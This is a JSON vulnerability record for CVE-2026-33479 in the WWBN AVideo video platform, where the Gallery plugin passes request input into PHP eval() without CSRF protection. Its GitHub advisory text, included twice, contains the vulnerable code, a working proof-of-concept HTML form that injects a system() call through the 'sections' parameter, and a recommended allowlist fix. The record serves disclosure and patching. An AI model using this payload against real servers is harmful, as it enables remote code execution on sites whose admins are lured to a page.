{"id":"CVE-2026-33479","aliases":["EUVD-2026-20084","GHSA-xggw-g9pm-9qhh"],"status":"published","title":"AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page. Commit 087dab8841f8bdb54be184105ef19b47c5698fcb contains a patch.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00553,"percentile":0.46626,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-94"],"published":"2026-03-20T20:44:02Z","modified":"2026-10-28T02:30:35Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-xggw-g9pm-9qhh","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/087dab8841f8bdb54be184105ef19b47c5698fcb","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33479","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xggw-g9pm-9qhh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33479.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33479","title":"AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page. Commit 087dab8841f8bdb54be184105ef19b47c5698fcb contains a patch.","status":"published","published":"2026-03-23T14:05:55.725Z","modified":"2026-03-23T14:59:02.375Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-20084","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page. Commit 087dab8841f8bdb54be184105ef19b47c5698fcb contains a patch.","status":"published","published":"2026-03-23T14:05:55Z","modified":"2026-03-23T14:59:02Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:31.168902Z"}],"ghsa":[{"id":"GHSA-xggw-g9pm-9qhh","title":"AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin","description":"## Summary\n\nThe Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.\n\n## Details\n\n**Vulnerable code** — `plugin/Gallery/view/saveSort.json.php:20-25`:\n\n```php\nif(!empty($_REQUEST['sections'])){\n    $object = $gallery-\u003egetDataObject();\n    foreach ($_REQUEST['sections'] as $key =\u003e $value) {\n        $obj-\u003esectionsSaved[] = array($key=\u003e$value);\n        eval(\"\\$object-\u003e{$value}Order = \\$key;\");\n    }\n    $obj-\u003eerror = !$gallery-\u003esetDataObject($object);\n}\n```\n\nThe `$value` variable from `$_REQUEST['sections']` is interpolated directly into the string passed to `eval()` with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like `'Shorts'`, `'Trending'`, etc. from jQuery UI sortable, but the server enforces no such constraint.\n\n**CSRF enablement** — `objects/include_config.php:134-137`:\n\n```php\nif ($isHTTPS) {\n    ini_set('session.cookie_samesite', 'None');\n    ini_set('session.cookie_secure', '1');\n}\n```\n\nThe session cookie is explicitly set to `SameSite=None`, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in `objects/functionsPHP.php:330-333` where additional cookies are set with `SameSite=None; Secure`.\n\n**No CSRF protection** — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no `X-Requested-With` header check. There is no global CSRF middleware in AVideo's bootstrap chain.\n\n**Exploit chain:**\n1. Attacker crafts a page with an auto-submitting form targeting `saveSort.json.php`\n2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message)\n3. The browser sends the cross-site POST request **with the admin's session cookie** attached (due to `SameSite=None`)\n4. `User::isAdmin()` passes because the admin's session is present\n5. The injected PHP code in the `sections` array value is passed to `eval()` and executes\n\n## PoC\n\n**Step 1:** Host the following HTML on an attacker-controlled server:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform id=\"exploit\" action=\"https://TARGET/plugin/Gallery/view/saveSort.json.php\" method=\"POST\"\u003e\n  \u003cinput type=\"hidden\" name=\"sections[0]\" value=\"x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('exploit').submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe base64 decodes to `id;hostname`.\n\n**Step 2:** Lure an authenticated AVideo admin to visit the page.\n\n**Step 3:** The eval on line 24 executes:\n```php\n$object-\u003ex=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;\n```\n\nThis breaks out of the property assignment, calls `system()` with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.\n\n**Expected result:** The `id` and `hostname` commands execute on the server under the web server's user context.\n\n## Impact\n\n- **Remote Code Execution** — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.\n- **Full server compromise** — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.\n- **Stealth** — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.\n- **Blast radius** — Any AVideo instance running over HTTPS (which triggers `SameSite=None`) where an admin can be lured to click a link is vulnerable.\n\n## Recommended Fix\n\n**Primary fix — Replace `eval()` with an allowlist check:**\n\nIn `plugin/Gallery/view/saveSort.json.php`, replace lines 20-26:\n\n```php\nif(!empty($_REQUEST['sections'])){\n    $object = $gallery-\u003egetDataObject();\n    $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest', \n                        'Subscribe', 'Popular', 'LiveStream', 'Category', \n                        'Program', 'Channel'];\n    foreach ($_REQUEST['sections'] as $key =\u003e $value) {\n        if (!in_array($value, $allowedSections, true)) {\n            continue;\n        }\n        $obj-\u003esectionsSaved[] = array($key =\u003e $value);\n        $property = $value . 'Order';\n        $object-\u003e$property = intval($key);\n    }\n    $obj-\u003eerror = !$gallery-\u003esetDataObject($object);\n}\n```\n\nThis eliminates `eval()` entirely, validates `$value` against a known allowlist of section names, and uses dynamic property access (`$object-\u003e$property`) instead of code generation.\n\n**Secondary fix — Add CSRF protection** to all state-changing endpoints, or at minimum set `SameSite=Lax` on session cookies instead of `SameSite=None` in `objects/include_config.php:135`:\n\n```php\nini_set('session.cookie_samesite', 'Lax');\n```\n\nThis prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.","status":"published","published":"2026-03-20T20:44:02Z","modified":"2026-03-25T18:49:30Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33479","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page. Commit 087dab8841f8bdb54be184105ef19b47c5698fcb contains a patch.","status":"published","published":"2026-03-23T15:16:34.22Z","modified":"2026-06-17T10:37:34.153Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33479","title":"AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page. Commit 087dab8841f8bdb54be184105ef19b47c5698fcb contains a patch.","status":"published","published":"2026-03-23T14:05:55.725Z","modified":"2026-10-28T02:30:35.425679143Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-xggw-g9pm-9qhh","title":"AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin","description":"## Summary\n\nThe Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.\n\n## Details\n\n**Vulnerable code** — `plugin/Gallery/view/saveSort.json.php:20-25`:\n\n```php\nif(!empty($_REQUEST['sections'])){\n    $object = $gallery-\u003egetDataObject();\n    foreach ($_REQUEST['sections'] as $key =\u003e $value) {\n        $obj-\u003esectionsSaved[] = array($key=\u003e$value);\n        eval(\"\\$object-\u003e{$value}Order = \\$key;\");\n    }\n    $obj-\u003eerror = !$gallery-\u003esetDataObject($object);\n}\n```\n\nThe `$value` variable from `$_REQUEST['sections']` is interpolated directly into the string passed to `eval()` with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like `'Shorts'`, `'Trending'`, etc. from jQuery UI sortable, but the server enforces no such constraint.\n\n**CSRF enablement** — `objects/include_config.php:134-137`:\n\n```php\nif ($isHTTPS) {\n    ini_set('session.cookie_samesite', 'None');\n    ini_set('session.cookie_secure', '1');\n}\n```\n\nThe session cookie is explicitly set to `SameSite=None`, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in `objects/functionsPHP.php:330-333` where additional cookies are set with `SameSite=None; Secure`.\n\n**No CSRF protection** — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no `X-Requested-With` header check. There is no global CSRF middleware in AVideo's bootstrap chain.\n\n**Exploit chain:**\n1. Attacker crafts a page with an auto-submitting form targeting `saveSort.json.php`\n2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message)\n3. The browser sends the cross-site POST request **with the admin's session cookie** attached (due to `SameSite=None`)\n4. `User::isAdmin()` passes because the admin's session is present\n5. The injected PHP code in the `sections` array value is passed to `eval()` and executes\n\n## PoC\n\n**Step 1:** Host the following HTML on an attacker-controlled server:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform id=\"exploit\" action=\"https://TARGET/plugin/Gallery/view/saveSort.json.php\" method=\"POST\"\u003e\n  \u003cinput type=\"hidden\" name=\"sections[0]\" value=\"x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('exploit').submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe base64 decodes to `id;hostname`.\n\n**Step 2:** Lure an authenticated AVideo admin to visit the page.\n\n**Step 3:** The eval on line 24 executes:\n```php\n$object-\u003ex=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;\n```\n\nThis breaks out of the property assignment, calls `system()` with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.\n\n**Expected result:** The `id` and `hostname` commands execute on the server under the web server's user context.\n\n## Impact\n\n- **Remote Code Execution** — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.\n- **Full server compromise** — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.\n- **Stealth** — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.\n- **Blast radius** — Any AVideo instance running over HTTPS (which triggers `SameSite=None`) where an admin can be lured to click a link is vulnerable.\n\n## Recommended Fix\n\n**Primary fix — Replace `eval()` with an allowlist check:**\n\nIn `plugin/Gallery/view/saveSort.json.php`, replace lines 20-26:\n\n```php\nif(!empty($_REQUEST['sections'])){\n    $object = $gallery-\u003egetDataObject();\n    $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest', \n                        'Subscribe', 'Popular', 'LiveStream', 'Category', \n                        'Program', 'Channel'];\n    foreach ($_REQUEST['sections'] as $key =\u003e $value) {\n        if (!in_array($value, $allowedSections, true)) {\n            continue;\n        }\n        $obj-\u003esectionsSaved[] = array($key =\u003e $value);\n        $property = $value . 'Order';\n        $object-\u003e$property = intval($key);\n    }\n    $obj-\u003eerror = !$gallery-\u003esetDataObject($object);\n}\n```\n\nThis eliminates `eval()` entirely, validates `$value` against a known allowlist of section names, and uses dynamic property access (`$object-\u003e$property`) instead of code generation.\n\n**Secondary fix — Add CSRF protection** to all state-changing endpoints, or at minimum set `SameSite=Lax` on session cookies instead of `SameSite=None` in `objects/include_config.php:135`:\n\n```php\nini_set('session.cookie_samesite', 'Lax');\n```\n\nThis prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.","status":"published","published":"2026-03-20T20:44:02Z","modified":"2026-03-25T19:48:10.837797Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:59.835583Z"}]}}
